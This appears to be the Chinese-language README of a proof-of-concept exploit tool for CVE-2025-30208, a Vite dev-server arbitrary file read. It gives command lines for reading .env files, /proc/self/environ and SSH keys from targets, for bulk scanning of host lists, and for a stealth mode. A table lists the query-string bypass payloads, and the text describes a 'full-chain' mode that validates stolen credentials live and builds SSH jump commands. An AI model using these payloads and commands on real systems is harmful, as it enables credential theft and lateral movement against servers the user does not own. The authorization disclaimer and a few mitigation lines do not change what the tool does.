CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
严重性: CVSS 5.3 中等(网络可访问的开发服务器)
⚠ 仅限授权安全测试。
未经授权对不属于您或未获得明确书面许可的系统进行测试是违法的。
Vite 的开发服务器允许通过 /@fs/ 请求提供主机文件系统中的任意文件。
受影响版本中缺少对查询字符串的清理检查,使攻击者可以附加特制的后缀以绕过白名单,读取进程可访问的任何文件——包括 .env 文件、SSH 私钥、云凭据和 /proc 条目。
| 分支 | 最后一个受影响版本 | 已修复版本 |
|---|---|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
pip install requests
# 或
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
默认批量扫描端口:5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
当指定 --output /tmp/report 时,扫描器会写入:
/tmp/report.json — 机器可读的结构化发现结果/tmp/report.md — 人类可读的 Markdown 报告批量扫描总是在最后一行打印 VULN_COUNT=N 以便于 shell 脚本处理:
python main.py -l targets.txt | grep '^VULN_COUNT='
单个目标扫描在末尾打印 SCAN_STATUS=VULNERABLE|NOT_VULNERABLE 以实现自动化。
cve30208/
├── __init__.py — 公共 API 接口
├── __main__.py — python -m cve30208 入口点
├── constants.py — BYPASS、CVE_SIBLING、SECRET_PATTERNS、SSH/扫描常量
├── ui.py — ANSI 颜色代码、Spin/NullSpin、终端辅助函数
├── utils.py — 共享辅助函数 (_unescape_js_string)
├── secrets.py — scan_secrets()、parse_env()、parse_environ()
├── ssh.py — extract_ssh_key()、collect_ssh_targets()
├── exploit.py — ExploitResult、ExploitStage(实时凭据验证)
│ 包含一个检查注册表以便于扩展
├── report.py — save_report()、make_md()
└── scanner.py — FR/R 数据类、Scanner、bulk_scan()、main()
main.py — 向后兼容性填充器
requirements.txt
扫描器自动抑制重复工件,使输出即使在 HOME 等于 /root 或同一机密出现在多个文件中时也能保持清晰:
摘要行报告有多少文件、机密和 SSH 密钥被抑制为重复项,例如:
deduped 2 个文件,4 个凭据,1 个 SSH 密钥被抑制为重复项
--host 0.0.0.0 启动 Vite 开发服务器。.env 文件,并从项目中删除不必要的机密。此工具仅供授权的渗透测试和安全研究使用。
使用此工具即表示您同意已获得测试目标系统的明确书面授权。
作者对因使用本软件造成的任何滥用或损害不承担任何责任。
CVE-2025-30208 PoC v5
生成的 JSON 现在包含:
schema_version(当前:1.0.0)status(VULNERABLE 或 NOT_VULNERABLE)safe_mode(当终端机密编辑模式启用时为 true)report_redacted(当至少存在一个机密并且在持久化报告中被编辑时为 true)| 名称 | 后缀/查询 | 描述 |
|---|
raw?? | ?raw?? | 末尾 ?? 破坏了 rawRE |
import&raw?? | ?import&raw?? | ES 模块 + raw 组合 |
raw? | ?raw? | 单个末尾 ? |
url&raw?? | ?url&raw?? | URL 模式组合 |
raw&url?? | ?raw&url?? | 参数顺序颠倒 |
import&?raw | ?import&?raw | 格式错误的导入前缀 |
sec-fetch | ?raw + Sec-Fetch 标头 | 浏览器脚本上下文 |
raw-encoded | ?raw%3f%3f | URL 编码的分隔符 |
double-slash | ?raw??/ | 双斜杠后缀绕过 (v5) |
pct-all | %3fraw%3f%3f | 完全百分比编码的查询 (v5) |
raw-hash | ?raw??# | 片段锚点绕过 (v5) |
wasm-init | ?inline=1.wasm?init | CVE-2025-31125 相关 (wasm init) |
| 标志 | 默认值 | 描述 |
|---|
-t/--target | — | 单个目标 URL |
-l/--lists | — | 每行一个目标的文件 |
--stealth | 关闭 | 在请求间添加随机延迟 |
--proxy | — | HTTP/HTTPS 代理 (http://host:port) |
--timeout | 10 | 每次请求的超时时间(秒) |
--verify | 关闭 | 启用 TLS 证书验证 |
--file | — | 读取目标主机上的特定路径 |
--save | — | 将 --file 内容保存到本地路径 |
--full-chain | 开启 | 运行完整利用链(默认进行实时验证) |
--output | — | 将 JSON + Markdown 报告写入此基础路径 |
--workers | 10 | 批量扫描的并行工作线程数 |
--ports | 见下文 | 批量模式下探测的端口(逗号分隔) |
--no-color/--plain | 关闭 | 禁用 ANSI 颜色代码 |
--safe-mode | 关闭 | 在终端输出中编辑机密值 |
--show-secrets | 关闭 | 在终端显示完整机密(覆盖 --safe-mode) |
--version | — | 打印版本并退出 |
| 层 | 机制 |
|---|
| 文件系统读取 | stage_fs 使用 dict.fromkeys 规范化 SSH 密钥基列表,并在任何输出产生之前从 reads 队列中删除重复路径。 |
| 文件保存 | Scanner._save 检查每个扫描的 _seen_file_paths 集合;重复路径返回已存储的 FR 而不重新附加到 r.files。 |
| 机密 | Scanner._save 在所有文件中全局去重 r.secrets(按 (name, value));文件内去重由 scan_secrets 单独处理。 |
| SSH 密钥 | stage_ssh 折叠具有相同 PEM 签名(前 _PEM_SIG_LEN 字节)且出现在多个源文件中的密钥。 |
| 跳转命令 | 跳转块按 (key_source, host, port) 键控;仅打印一次相同的组合。 |